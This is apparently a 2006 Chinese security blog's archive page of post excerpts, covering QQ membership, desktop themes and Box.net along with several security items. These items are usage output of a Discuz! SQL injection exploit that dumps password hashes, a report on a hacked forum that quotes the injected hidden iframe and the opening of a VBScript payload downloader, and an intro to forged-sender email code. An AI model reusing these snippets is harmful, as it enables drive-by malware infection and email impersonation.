2006年9月 的日志

Discuz! 5.0.0 RC1 SQL injection PoC

DZ 5.0.0 RC1用的人应该很少,因为是一个过渡版本,之后很快就出了RC2,接着又出了正式版。

Usage: G:\tt\dz.py <url> <uid>
Example: G:\tt\dz.py http://127.0.0.1/dz/

G:\tt>dz.py http://target.com 1
Discuz! 5.0.0 RC1 SQL injection exploit
Codz by wofeiwo wofeiwo[0x40]gmail[0x2C]com

[+] Connect target.com
[+] Trying…
[+] Plz wait a long long time…
[+] The uid=1 password hash is:

阅读全文 »

Tags: , , ,

QQ会员等级网页上线

前段时间就听说会推出这个东西,后来却没消息了,好像是反对的人太多。
今天看到还是推出了,以后会员也要分等级给服务了。
TX真是会赚钱啊,已经到了卑鄙的地步!服务却不见好,服务器垃圾的要死,弄那么多钱,却扣的要命,连几台网通的服务器都不舍得加!
有问题去他官方论坛反应,直接就给你一句:“你的意见我们已经收到,会处理的。”之类的冠冕堂皇的话!
如果不是朋友们都用QQ的话,我也早不用了,Gtalk用着多爽,那才是真正的IM。。用QQ只是跟朋友们联系方便。
IM是用来联系的,不是闲聊的。不废话了。

我去查了下我的QQ,我的6位号的现在开着会员,所以成长值是呈增长状态。

但是以前一直用着的9位号因为把会员给停了,结果成长值以每天5点的速度减少。
阅读全文 »

Tags:

推荐两个主题 + 一套系统图标

ps:我正在用,在先锋看到的,我收集了一下,然后整理整理发出来了。都属于简约风格的,我很喜欢简约的。
Tango图标+Klarheit.visualstyle配套使用,很有Linux的感觉。

主题
Klarheit.visualstyle:

大图:http://huaidan.org/wp-content/uploads/img/yupoo/20060904/202527_2146137560_EGOHk.jpg
DA下载: http://www.deviantart.com/deviation/38783250/
下面两个修改版的与图中的不太一样, 阅读全文 »

Tags:

落伍被挂马了

ps:在neeao和CN.Tink那里都看到了这个消息,我综合一下。估计是因为前两天DZ出的新洞被拿的,是一个叫freediscuz的论坛公布的漏洞,不过没有公布详细信息,只给了补丁。

看了下首页,有这么句,

<iframe src=http://www.lynndent.com/cf/style.htm width=0 height=0></iframe>

然后打开了这个地址..

代码包含

<script language="VBScript">
on error resume next
my = "http://www.lynndent.com/cf/kkk.exe"
Set CAOc = document.createElement("object")
CAOc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

阅读全文 »

Tags: ,

伪造发件人邮件地址

作者:lake2
来源:lake2的专栏

这篇文章完全没技术含量

记得若干年前第一次看《黑客X档案》的时候,有篇名为《社会工程学破解Email》的文章,就是利用邮件冒充管理员里骗取用户密码。当时真的太菜,居然真的照着书上一个一个字符的去打HTML……呵呵,心酸往事不提。

言归正传,发匿名邮件完全有益身心健康的,比如剑心那小子老是剥削我,我心里不爽就发邮件骂他,为了不让他知道我是谁就伪造一个邮件地址咯,再狠点,嗯,邮件地址就写成他老婆的,然后一边呆着看他们吵架(嘿嘿,好狠毒啊)。

基于此,写了一个利用Jmail组件发匿名邮件的ASP代码,前提是你的SMTP服务器没有验证发件人地址才是,很多虚拟主机的SMTP服务器就可以的。

代码如下:
阅读全文 »

Box.net lite + Box.net的一个小技巧

<a href="http://www.box.net/">Box.net</a> 一个操作简单、界面清新、接纳各类型文件、1G免费空间,单个上传文件不得超过10M的网络硬盘服务。<br/>
最近又推出了 <a href="http://www.box.net/lite">Box.net lite</a> ,只要填写好你的邮箱地址,你的昵称,选好本地文件,无需注册,你就可以上传这个文件,并获得一段代码,可以直接嵌入此HTML代码,通过它,与网友分享你上传的文件。 如果你已拥有帐号的话,那么上传的文件则会自动加入到你的Box.net文件箱中。<br/><br/>
<b>图标方式的插入,演示如下:</b><br/>
<a href="http://www.box.net/lite/4tpikc3hxu"><img src="http://www.box.net/lite/image/4tpikc3hxu.png" border="0"></a><br/><small>share your files at <a href="http://www.box.net/lite">box.net</a></small><br/><br/>
基本上支持了所有的文件类型,包括音频、视频、图片和文档,单个文件大小不超过 10MB。<br/> 阅读全文 »